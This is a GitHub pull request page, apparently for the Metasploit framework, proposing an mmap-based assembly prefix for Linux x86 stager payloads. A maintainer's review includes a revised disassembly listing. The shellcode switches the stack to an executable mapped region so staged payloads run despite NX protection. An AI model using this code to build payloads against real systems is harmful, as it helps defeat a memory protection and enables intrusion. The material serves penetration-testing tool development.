Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add mmap to linux x86 stager payloads. #10

Closed
wants to merge 1 commit into from
Closed

Add mmap to linux x86 stager payloads. #10

wants to merge 1 commit into from

Conversation

rickyz
Copy link

@rickyz rickyz commented Nov 13, 2011

Previously these payloads jumped to a stack address, which would fail on
machines with NX enabled.

The original metasploit bug for this is at:

https://dev.metasploit.com/redmine/issues/3038

The source of the added assembly (which switches the stack to an executable mmaped region) is:

xor %ecx,%ecx
mov $0x20,%ch
mov $0x7,%dl
push $0x22
pop %esi
xor %eax,%eax
mov $0xc0,%al
int $0x80
xchg %eax,%esp
shr %ecx
add %ecx,%esp

Previously these payloads jumped to a stack address, which would fail on
machines with NX enabled.
@hdm
Copy link
Contributor

hdm commented Nov 13, 2011

Nevermind - I see that this is just a prefix for each payload. Looks good with one exception, it needs to xor edx,edx as well (can't guarantee state)

@hdm
Copy link
Contributor

hdm commented Nov 13, 2011

On further review, it looks like the xor ebx,ebx at the top wasn't moved down to before the push ebx. This probably won't be touched by the mmap call, but in the interest of paranoia, can you refactor this with the following changes:

  • Prefix xor edx, edx
  • Move the xor ebx, ebx from the original payload to the end of your prefix

This would look something like:

00000000 31D2 xor edx,edx
00000002 31C9 xor ecx,ecx
00000004 B520 mov ch,0x20
00000006 B207 mov dl,0x7
00000008 6A22 push byte +0x22
0000000A 5E pop esi
0000000B 31C0 xor eax,eax
0000000D B0C0 mov al,0xc0
0000000F CD80 int 0x80
00000011 94 xchg eax,esp
00000012 D1E9 shr ecx,1
00000014 01CC add esp,ecx
00000016 31DB xor ebx,ebx

@hdm hdm closed this Nov 13, 2011
jvazquez-r7 pushed a commit that referenced this pull request May 9, 2013
…c_multi

sap_soap_rfc_sxpg_command_exec multi platform and clean up
thelightcosine pushed a commit that referenced this pull request Sep 12, 2013
jvazquez-r7 pushed a commit that referenced this pull request Sep 23, 2013
timwr referenced this pull request in timwr/metasploit-framework May 10, 2014
shuckins-r7 pushed a commit to shuckins-r7/metasploit-framework that referenced this pull request May 20, 2014
hdm referenced this pull request in hdm/metasploit-framework Jun 24, 2014
jvazquez-r7 pushed a commit that referenced this pull request Dec 12, 2014
wvu referenced this pull request in wvu/metasploit-framework Dec 22, 2014
Fix invalid URL in splat
wvu added a commit that referenced this pull request Feb 6, 2015
Fix datastore mangling with instance variables
hdm pushed a commit that referenced this pull request Apr 1, 2015
jhart-r7 pushed a commit to jhart-r7/metasploit-framework that referenced this pull request Feb 19, 2016
busterb pushed a commit that referenced this pull request Mar 23, 2018
timwr pushed a commit that referenced this pull request Aug 2, 2018
Fix Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation
wvu pushed a commit that referenced this pull request Aug 30, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants